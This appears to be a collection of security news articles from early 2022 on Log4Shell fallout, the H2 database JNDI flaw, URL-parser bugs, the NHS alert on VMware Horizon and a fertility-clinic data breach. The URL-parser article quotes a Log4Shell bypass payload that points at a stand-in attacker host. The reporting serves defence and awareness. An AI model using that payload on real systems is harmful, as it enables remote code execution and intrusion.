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Cyber-Spike: Orgs Suffer 925 Attacks per Week, an All-Time High

 

Description

2021 dragged itself to a close under a Log4Shell-induced blitzkrieg. With millions of Log4j-targeted attacks clocking in per hour since the flaw’s discovery last month, there’s been a record-breaking peak of 925 cyberattacks a week per organization, globally.

The number comes out of a Monday report from Check Point Research (CPR), which found Log4Shell attacks to be a major contributor to a 50-percent increase year-over-year in overall attacks per week on corporate networks for 2021.

Source: CPR.

CPR had reported a 40 percent increase as of October, with earlier numbers showing that one out of every 61 organizations worldwide had been hit by ransomware each week.

Education/Research in the Crosshairs

CPR researchers said that education/research was the sector that experienced the highest volume of attacks in 2021, with an average of 1,605 attacks per organization every week: a 75 increase from 2020. A case in point: As of Dec. 30, the advanced persistent threat (APT) Aquatic Panda was targeting universities with Log4Shell exploit tools in an attempt to steal industrial intelligence and military secrets.

The second most picked-on sector was government/military, which saw 1,136 attacks per week: a 47 percent increase. Next up was the communications industry, with 1,079 attacks weekly per organization: a 51 percent increase.

Source: CPR.

Africa, APAC See Most Attacks

Africa experienced the highest volume of attacks last year, with an average of 1,582 weekly attacks per organization: a 13-percent increase over 2020.

As shown in the chart below, APAC saw a 25 percent increase in weekly attacks per organization, with an average of 1,353 weekly attacks. Latin America, with 1,118 attacks weekly, experienced a 38 percent increase; Europe, with 670 attacks weekly, clocked a 68 percent increase; and North America, with an average of 503 weekly attacks per organization, was under attack 61 percent more than in 2020.

Source: CPR.

Everything’s a Target, So Secure Everything

CPR’s advice: “In a multi-hybrid environment, where the perimeter is now everywhere, security should be able to protect it all.” Email, web browsing, servers and storage are “merely the basics,” the firm said: a list to which mobile apps, cloud and external storage are also “essential,” as are compliance of connected mobile and endpoint devices, and internet-of-things (IoT) devices.

As well, “workloads, containers and serverless applications on multi- and hybrid-cloud environments should be part of the checklist at all times,” CPR recommended.

Standard-issue security best practices apply: Stay up to date with security patches to stop attacks that leverage known flaws, segment networks, apply strong firewall and IPS safeguards between the network segments in order to contain infections from propagating across the entire network, and educate employees to recognize potential threats.

“Quite often, user awareness can prevent an attack before it occurs,” CPR researchers suggested. “Take the time to educate your users and ensure that if they see something unusual, they report it to your security teams immediately. User education has always been a key element in avoiding malware infections.”

Finally, implement advanced security technologies, CPR said.** “**There is not a single silver-bullet technology that can protect organizations from all threats and all threat vectors. However, there are many great technologies and ideas available – machine learning, sandboxing, anomaly detection, content disarmament and numerous more.”

CPR recommended two key components to consider: threat extraction (file sanitization) and threat emulation (advanced sandboxing). “Each element provides distinct protection that, when used together, offer a comprehensive solution for protection against unknown malware at the network level and directly on endpoint devices.”

Image courtesy of Pixabay.

A similar vulnerability like Log4shell discovered in H2 database console

 

Description

THREAT LEVEL: Red.

For a detailed advisory, download the pdf file here.

An unauthenticated remote code execution vulnerability similar to Log4shell has been discovered in H2 Database (a popular Java SQL database) console and has been assigned CVE-2021-42392. It is claimed to be similar to the log4shell vulnerability since they both share the same root cause i.e they both are based on the Java Naming and Directory Interface (JNDI).

This flaw allows attacker-controlled URLs to be passed unfiltered to the javax.naming.Context.lookup function via numerous code paths in the H2 database system and execute remote code. The H2 database has an embedded web-based console for the database management which runs by default at http://localhost:8082. This console allows an unauthenticated attacker to run remote code execution as it fails to validate the parameters such as ‘User Name’ and ‘Password’ before performing lookup with the malicious URL in ‘JDBC URL’ field.

Organizations using an H2 console which is exposed to LAN or WAN should update H2 database to version 2.0.206 immediately.

Upgrading to version 2.0.206 eliminates this vulnerability. However, organization who cannot upgrade to version 2.0.206 can use either of the mitigations below:

  • The newer version of Java contains trustURLCodebasethat does not allow remote codebases to load via JNDI, so upgrading to the latest version of Java (JRE/JDK) will eliminate this vulnerability. However, this mitigation can be bypassed sending a serialized “gadget” Java object through LDAP.
  • When the H2 console Servlet is installed on a web server, a security constraint can be introduced to restrict access to the console page to specified users.

Vulnerabiliy Details

Patch Links

https://github.com/h2database/h2database/releases/tag/version-2.0.206

https://www.h2database.com/html/main.html

References

https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/

https://github.com/h2database/h2database/security/advisories/GHSA-h376-j262-vhq6

https://github.com/cybersecurityworks553/CVE-2021-42392-Detect

https://exchange.xforce.ibmcloud.com/vulnerabilities/216834

The 2021 Naughty and Nice Lists: Cybersecurity Edition

 

Description

The 2021 Naughty and Nice Lists: Cybersecurity Edition

Editor’s note:We had planned to publish our Hacky Holidays blog series throughout December 2021 – but then Log4Shell happened, and we dropped everything to focus on this major vulnerability that impacted the entire cybersecurity community worldwide. Now that it’s 2022, we’re feeling in need of some holiday cheer, and we hope you’re still in the spirit of the season, too. Throughout January, we’ll be publishing Hacky Holidays content (with a few tweaks, of course) to give the new year a festive start. So, grab an eggnog latte, line up the carols on Spotify, and let’s pick up where we left off.

It’s not just Santa who gets to have all the fun — we in the security community also love to make our lists and check them twice. That’s why we asked some of our trusty cybersecurity go-to’s who and what they’d place on their industry-specific naughty and nice lists, respectively, for 2021. Here’s who the experts we talked to would like to give a super-stuffed stocking filled with tokens of gratitude — and who’s getting a lump of coal.

The nice list

Call me boring, but I am pretty stoked about the Minimum Viable Security Product (MVSP), the vendor-neutral checklist for vetting third-party companies. It has questions like whether a vendor performs annual comprehensive penetration testing on systems, complies with local laws and regulations like GDPR, implemented single sign-on, applies security patches on a frequent basis, maintains a list of sensitive data types that the application is expected to process, keeps an up-to-date data flow diagram indicating how sensitive data reaches the systems, and whether vendors have layered perimeter controls or entry and exit logs for physical security. Its success depends on people using it, and this industry tends to be allergic to checklists, but it strikes me as super important. - Fahmida Y. Rashid, award-winning infosec journalist

****Editor’s note:**** Check out our Security Nation podcast episode with Chris John Riley on his work helping develop MVSP.

All of the security researchers that have focused their research and efforts to identify vulnerabilities and security issues within IoT technology over the last year. Their effort have helped bring focus to these issues which has led to improvements in product and processes in the IoT industry. - Deral Heiland, IoT Research Lead at Rapid7

Increased federal government focus on securing critical infrastructure. Examples: pipeline and rail cybersecurity directives, energy sector sprints, cybersecurity funding in the infrastructure package. - Harley Geiger, Senior Director of Public Policy at Rapid7

Huntress Labs and the Reddit r/msp board for their outstanding, tireless support for those responding to the Kaseya mass ransomware attack. While the attack was devastating, the community coalesced to help triage and recover, showing the power we have as defenders and protectors when we all work together. - Bob Rudis, Chief Security Data Scientist at Rapid7

The January 20th swearing-in of Biden is on the nice list, not because of who won but the fact that the election worked. We’ve talked an excessive amount about election security, but the reality is, there was no big deal. It was a largely unremarkable election even in the abnormal environments of the pandemic and the cyber. Election computers will continue to be wildly insecure, but since we’ve got paper trails, it won’t really matter. - Rob Graham, CEO of Errata Security

The naughty list

The Colonial Pipeline and Kaseya attacks are far above any other “naughty” case. They affected millions of people around the world. However, like the big things from past years, I think it’ll be solved by lots of small actions by individuals rather than some big Government or Corporation initiative. No big action was needed to solve notPetya or Mirai; no big action will be needed here. Those threatened will steadily (albeit slowly) respond. - Rob Graham, CEO of Errata Security

Microsoft, bar none. They bungled response to many in-year critical vulnerabilities, putting strain on already beat up teams of protectors, causing many organizations to suffer at the mercy of attackers. Everything from multiple, severe Exchange vulnerabilities, to unfixable print spooler flaws, to being the #1 cloud document service for hosting malicious content. - Bob Rudis, Chief Security Data Scientist at Rapid7

The whole Pegasus spyware from NSO Group is bad news start to finish, but the fact that the ruler of United Arab Emirates used the spyware on his wife in a custody battle? That was just flabbergasting. We talk about stalkerware and other types of spyware — but when you have something like Pegasus just showing up on individual phones, that is downright frightening. - Fahmida Y. Rashid, award-winning infosec journalist

All manufacturers of IoT technology that have not heeded the warnings, taken advantages of the work done by IoT security researchers to improve their product security, or made efforts to build and improve their internal and external process for reporting and remediating security vulnerabilities within their products. - Deral Heiland, IoT Research Lead at Rapid7

Apparent lack of urgency to provide support and phase in requirements for healthcare cybersecurity, despite ransomware proliferation during the pandemic. - Harley Geiger, Senior Director of Public Policy at Rapid7

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Researchers Find Bugs in Over A Dozen Widely Used URL Parser Libraries

 

Description

A study of 16 different Uniform Resource Locator (URL) parsing libraries has unearthed inconsistencies and confusions that could be exploited to bypass validations and open the door to a wide range of attack vectors.

In a deep-dive analysis jointly conducted by cybersecurity firms Claroty and Snyk, eight security vulnerabilities were identified in as many third-party libraries written in C, JavaScript, PHP, Python, and Ruby languages and used by several web applications.

“The confusion in URL parsing can cause unexpected behavior in the software (e.g., web application), and could be exploited by threat actors to cause denial-of-service conditions, information leaks, or possibly conduct remote code execution attacks,” the researchers said in a report shared with The Hacker News.

With URLs being a fundamental mechanism by which resources — located either locally or on the web — can be requested and retrieved, differences in how the parsing libraries interpret a URL request could pose significant risk for users.

A case in point is the critical Log4Shell flaw disclosed last month in the ubiquitous Log4j logging framework, which stems from the fact that a malicious attacker-controlled string, when evaluated as and when it’s being logged by a vulnerable application, results in a JNDI lookup that connects to an adversary-operated server and executes arbitrary Java code.

Although the Apache Software Foundation (ASF) quickly put in a fix to address the weakness, it soon emerged that the mitigations could be bypassed by a specially crafted input in the format “${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}” that once again permits remote JNDI lookups to achieve code execution.

“This bypass stems from the fact that two different (!) URL parsers were used inside the JNDI lookup process, one parser for validating the URL, and another for fetching it, and depending on how each parser treats the Fragment portion (#) of the URL, the Authority changes too,” the researchers said.

Specifically, if the input is treated as a regular HTTP URL, the Authority component — the combination of the domain name and the port number — ends upon encountering the fragment identifier, whereas, when treated as an LDAP URL, the parser would assign the whole “127.0.0[.]1#.evilhost.com:1389” as the Authority since the LDP URL specification doesn’t account for the fragment.

Indeed, the use of multiple parsers emerged as one of the two primary reasons why the eight vulnerabilities were discovered, the other being issues arising from inconsistencies when the libraries follow different URL specifications, effectively introducing an exploitable loophole.

The dissonance ranges from confusion involving URLs containing backslashes (“”), irregular number of slashes (e.g., https:///www.example[.]com), or URL encoded data (“%”) to URLs with missing URL schemes that, when successfully exploited, could lead to remote code execution or result in denial-or-service (DoS) and open-redirect phishing attacks.

The list of eight vulnerabilities discovered are as follows, all of which have since been addressed by respective maintainers —

“Many real-life attack scenarios could arise from different parsing primitives,” the researchers said. To protect applications from URL parsing vulnerabilities, “it is necessary to fully understand which parsers are involved in the whole process [and] the differences between parsers, be it their leniency, how they interpret different malformed URLs, and what types of URLs they support.”

NHS Warns of Hackers Targeting Log4j Flaws in VMware Horizon

 

Description

VMware Horizon

The digital security team at the U.K. National Health Service (NHS) has raised the alarm on active exploitation of Log4Shell vulnerabilities in unpatched VMware Horizon servers by an unknown threat actor to drop malicious web shells and establish persistence on affected networks for follow-on attacks.

“The attack likely consists of a reconnaissance phase, where the attacker uses the Java Naming and Directory InterfaceTM (JNDI) via Log4Shell payloads to call back to malicious infrastructure,” the non-departmental public body said in an alert. “Once a weakness has been identified, the attack then uses the Lightweight Directory Access Protocol (LDAP) to retrieve and execute a malicious Java class file that injects a web shell into the VM Blast Secure Gateway service.”

The web shell, once deployed, can serve as a conduit to carry out a multitude of post-exploitation activities such as deploying additional malicious software, data exfiltration, or deployment of ransomware. VMware Horizon versions 7.x and 8.x are vulnerable to the Log4j vulnerabilities.

VMware Horizon

Log4Shell is an exploit for CVE-2021-44228 (CVSS score: 10.0), a critical arbitrary remote code execution flaw in Apache Log4j 2, an ubiquitous open-source logging framework, which has been put to use as part of different malware campaigns since it came to light in December 2021. An array of hacking groups, ranging from nation-state actors to ransomware cartels, have pounced on the vulnerability to date.

The development also marks the second time VMware products have come under exploitation stemming as a result of vulnerabilities in the Log4j library. Last month, AdvIntel researchers disclosed that attackers were targeting systems running VMware VCenter servers with the aim of installing Conti ransomware.

VMware, for its part, has already released security updates for Horizon, VCenter, and other products last month that have been impacted by Log4Shell, with the virtualization services provider acknowledging scanning attempts in the wild, urging customers to install the patches where applicable or apply workarounds temporarily to counter any potential risk.

EoL Systems Stonewalling Log4j Fixes for Fed Agencies

 

Description

Last month, federal agencies were given a Christmas Eve deadline – Dec. 24 – to address the “extremely concerning” Log4j and other vulnerabilities.

Nobody said it would be easy.

Besides the difficulty of tracking down all instances of the ubiquitous Apache logging library, the job of patching the flaws has been further complicated for many agencies by end-of-life (EoL) and end-of-support (EoS) systems connected to the network.

Matt Keller, vice president of Federal Services at GuidePoint Security, told Threatpost in the following Q&A that many agencies are unable to patch Log4j, et al., due to network-connected EoL and EoS systems: an issue that’s further complicated by pandemic-wrought supply chain delays and remote-work issues.

Matt Keller, Federal CTO of cybersecurity firm GuidePoint Security.

Due to all these snafus, Keller has found that agencies are relying on running command-line scripts to find affected systems. They’re also constructing tiger teams to tear into the monumental workload: i.e., specialized, cross-functional teams brought together to solve or investigate a specific problem or critical issue.

Between technology issues and travel restrictions/shipping delays involved in replacing these systems, Keller predicts that agencies are months away from being able to address Log4j.

Threatpost:What are the repercussions of not patching, particularly given the Federal Trade Commission’s (FTC’s) promise to go after companies that fail to protect consumer data from Log4Shell?

Keller: FTC saber rattling doesn’t affect the government directly. They can only hit up the companies, and if the government has budget or done their due-diligence to replace the capability … the government and FTC wouldn’t be able to find the company. Most of these [vendor] companies have provided solutions or resolutions for current software. It’s like having Windows 95 and telling [Microsoft] that they have to support the software forever because of a vulnerability like this.

Threatpost:How are organizations dealing with issues presented by EoL/EoS? Are they being forced to upgrade more or less at gunpoint?

Keller:Most organizations know they are running EoL or EoS software, and they haven’t put in the plan to do the migration because funding might have been pulled in 2020 or 2021 for COVID telework requirements. Also, with most government agencies working remotely, it’s hard to do a migration if you’re not able to be in the office or have the desire to come into the office.

Threatpost:What kind of issues does that entail? When you say that there are travel restrictions/shipping delays, what kind of time lags does that introduce? …. or is it unknown, is it anybody’s guess? If they can’t upgrade, what other options do they have?

Keller:One of our clients said it will take three+ months to ship equipment from their site to another site overseas because of logistics. Then once the equipment arrives, it may take another three months to put that server in the rack for the migration to happen. The only option is to do risk mitigation. If its mission is critical then we do protection and monitoring on that system. If it can be disabled until the replacement arrives then we support it that way.

Threatpost:What’s involved with having to run command-line scripts to find affected systems? How much does it slow things down?

Keller:To run some of these command-line scripts, you either need to have access to the system (remote/physical) to run the command or have an ability to run the command via scripting across the enterprise. The issue with running the script remotely is you could possibly miss a system that could be offline or doesn’t report back the results.

You hope your system management capability can provide a level of details to make sure systems are accurately reporting back in. There are just a ton of variables that have to be planned for with running scripts across the system.

Threatpost:What’s wrong with using available scanners? Are they missing a lot of Log4j instances? Why is that, if so?

Keller:Well, Log4J wasn’t really software installed on a system, so the normal software and software inventory scanner didn’t pick it up. Vulnerability Management scanners also have some original problems with supporting many of these same scans.

We have seen over the past month that Application Security products do a better job of finding the systems affected, but most agencies don’t deploy a robust AppSec practice, so #1, having the software on hand was one issue, and #2 having the ability to figure out all of the [government off-the-shelf, or GOTs products: a term for software and hardware government that are ready to use and which were created and are owned by a government agency] solutions being built that use Log4J was a bigger issue.

Most of the OEM or [commercial off-the-shelf, or COTS] solutions had information out about Log4J in two weeks or less, but the COTS solutions had the EoL or EoS issues, which was more directly related to [the government] not planning for migration or replacements.

011022 13:01 UPDATE: Corrected Matt Keller’s title.

Photo by Maysam Yabandeh on Pixnio. Licensing details.

Cyberattackers Hit Data of 80K Patients at Fertility Centers of Illinois

 

Description

The protected health information of nearly 80,000 patients of Fertility Centers of Illinois (FCI) may have been pawed over by cyber intruders following a cyberattack.

FCI runs four clinics across Illinois. According to the U.S. Department of Health and Human Services (HHS) Office for Civil Rights’ data breach site, the breach – reported on Dec. 27 – affected 79,943 people.

FCI’s data breach notice (PDF) said that the healthcare organization first detected suspicious activity on its internal systems on Feb. 1, 2021. A subsequent investigation indicated that security systems had blocked attackers from accessing patient EMR (electronic medical records) systems. However, the intruder(s) managed to access administrative files and folders.

FCI said that it immediately launched a “thorough and comprehensive review” of its records to identify the files accessed, the information contained in those files and the individuals to whom that information pertained.

By Aug. 27, 2021, FCI had determined that information related to certain FCI patients was included in the set of files that had been improperly accessed. One positive finding so far: FCI said it’s “not aware of any actual or attempted misuse of patient information as a result of this incident.”

May it stay that way, given the severe harm that could be done with the dizzying array of highly sensitive personally identifying information (PII) that was involved: a trove that could be mined for financial fraud, identity theft, healthcare fraud and more.

A Treasure Trove of Compromised Data

The accessed files included some patients’ names, employer-assigned ID numbers, passport numbers, Social Security numbers, financial account information, payment card information, treatment information, diagnosis, treating/referring physicians, medical record number, medical billing/claims information, prescription/medication information, Medicare/Medicaid identification information, health insurance group numbers, health insurance subscriber numbers, patient account numbers, encounter numbers, ill health/retirement information, master patient index, occupational-health related information, other medical benefits and entitlements information, other medical ID numbers, patkeys/reason for absence, sickness certificate, usernames and passwords with PINs or account login information, and medical facilities associated with patient information.

The Big Business of Extremely Intimate Data

Stealing this kind of data is big business. One example: In October, a Las Vegas man and former medical records tech was sentenced to 12.5 years of prison for stealing PII that was then used to fraudulently claim Department of Defense (DoD) and Veterans Administration (VA) benefits, particularly targeting disabled veterans.

The data of more than 3,300 U.S. military service members, military dependents and civilians employed by the DoD were compromised as part of what turned out to be a transnational cybercrime ring created to defraud them out of $1.5 million in military benefits from the DoD and the VA.

With regards to the FCI breach, the organization said that it immediately took steps to eliminate unauthorized access and brought in independent forensic investigators to investigate and remediate the matter, on top of additional security measures meant to further secure access to data, individual accounts, and equipment, including the implementation of enterprise identity verification software.

FCI has also bolstered employee security practices training and has offered a year’s worth of free credit monitoring and identity theft protection through Equifax.

“Please be assured that we have invested considerable resources to ensure that such a vulnerability does not exist in the future,” FCI concluded.

The New Year Has Had a Lot of Picking On Patients

Easier said than done, apparently. Unfortunately, the new year has ushered in an undiminished zest for attacking healthcare information.

Earlier this week, Florida’s Broward Health System announced that the most intimate medical data of 1,357,879 patients was breached in October: evidence of what security researchers said is a soft-bellied healthcare software supply chain that’s proved to be a juicy target for cybercriminals.

Healthcare organizations are also in the same log-jammed boat as every other sector: They’re hyper-focused on mitigating threats associated with the Apache Log4j vulnerability and trying to avoid the disastrous consequences if the Log4Shell flaws are exploited.

Earlier this week, Microsoft reported that it saw rampant Log4j exploit attempts and testing through the end of December.

The Acute Danger of Log4j for Healthcare

On Dec. 17, a week after the discovery of the Log4j flaw, the HHS 405(d) Task Group issued a brief (PDF) outlining the risks associated with the vulnerability that could have catastrophic security implications for healthcare and other sectors.

“The exploitation allows the execution of any code which could result in compromise of the server, download of malicious binaries, or propagation of further attacks such as ransomware or a zero-day attack,” according to HHS’s alert.

It’s not even clear how many healthcare systems and devices could be affected by Log4Shell or what all the ways of exploitation might be, but it’s estimated that it could potentially affect hundreds of millions of devices, networks and/or software platforms, HHS said.

“Healthcare organizations are dependent on readily available devices and software that are vendor-supplied and connected to an external network to operate. These complex and interconnected devices affect patient safety and privacy,” according to HHS.

“They represent potential attack vectors across an organization like medical equipment such as bedside monitors that monitor vital signs during an inpatient stay,” the alert continued. “Or, they may be more complicated, like infusion pumps that deliver specialized therapies and require continual drug library updates. If an attacker gained access to the network through a vulnerability such as Log4j, they would be able to gain control of the software and could potentially disconnect devices from the network, therefore, causing a disruption to daily procedures and putting patient safety at risk.”

HHS explained that mainstream and well-known organizations, including cloud services, use Log4j software and may be vulnerable, including cloud applications that medical organizations use for Electronic Health Records (EHR) services and outsourced security services such as Software as a Service (SaaS).

Github maintains a running list of affected services and products.

Admin Account Used to Get at Data

Ben Pick, Principal Consultant at app security provider nVisium, noted that FCI stated that it followed reasonable practices to protect users and that an administrative account was used to obtain the data: the privileged kind of account from which attackers can do beaucoup damage. “These higher privileged accounts often have access to widespread data and act as a single point of failure, as evidenced by the large amount of user data exposed,” he told Threatpost via email.

His advice, in lieu of knowing the cause of the administrator’s account being compromised, is to limit access rights based on need to know.

Failing that, monitor, monitor, monitor, Pick advised: “When these privileged accounts cannot be limited, then strong monitoring must be enforced. This would alert when anomalous calls are made to indicate when an administrator may be performing an excessive amount of searches and possibly exfiltrating data.”

The Soft Spot of APIs

Mac McMillan, CEO of CynergisTek, predicted in an interview with HealthITSecurity that in the new year, ransomware operators will shift their focus away from encryption and on to data exfiltration.

Blame the soft spot of APIs, he said: “As interoperability becomes more of a mainstream priority for healthcare organizations and we see more APIs that are being introduced between critical systems, I think we’re going to see a rise in the number of attacks that are focused on compromising those APIs.

“It’s another area where [we] don’t typically have a good, consistent approach across the board in healthcare with respect to testing APIs for security.”

This is particularly true given that healthcare organizations are now looking at an API change-over deadline: By year’s end – Dec. 31, 2022 – they’re required to migrate to Fast Healthcare Interoperability Resources (FHIR) APIs in order to enable seamless data sharing. Implementing the new data standards will likely cause enough turmoil that threat actors will be that much more attracted to APIs as a network entry point, McMillan suggested.

Why Was FCI’s Regulated Data Outside of Network Monitoring?

Jake Williams, Co-Founder and CTO at incident response firm BreachQuest, noted to Threatpost on Friday that it’s not uncommon for medical organizations to store patient data outside of their EHR system, and it sounds like that’s what happened here.

“As the article notes, the EMR was not compromised due to unspecified security measures,” Williams said via email.

“However, files (presumably on some network share) were accessed by threat actors. It wouldn’t surprise me to learn that the EMR enforces [multi-factor authentication] or doesn’t use domain authentication.”

Williams suggested that organizations take inventory of where they may have regulated data that may fall outside of normal monitoring and audit controls: a topic that Citrix iterated in a September sponsored article on Threatpost.

“Those who don’t perform regular data inventory searches almost certainly have regulated data in their file shares – a location where it is just one phishing email away from compromise,” Williams said.

_Photo courtesy of _Marko Milivojevic via Pixnio. Licensing details.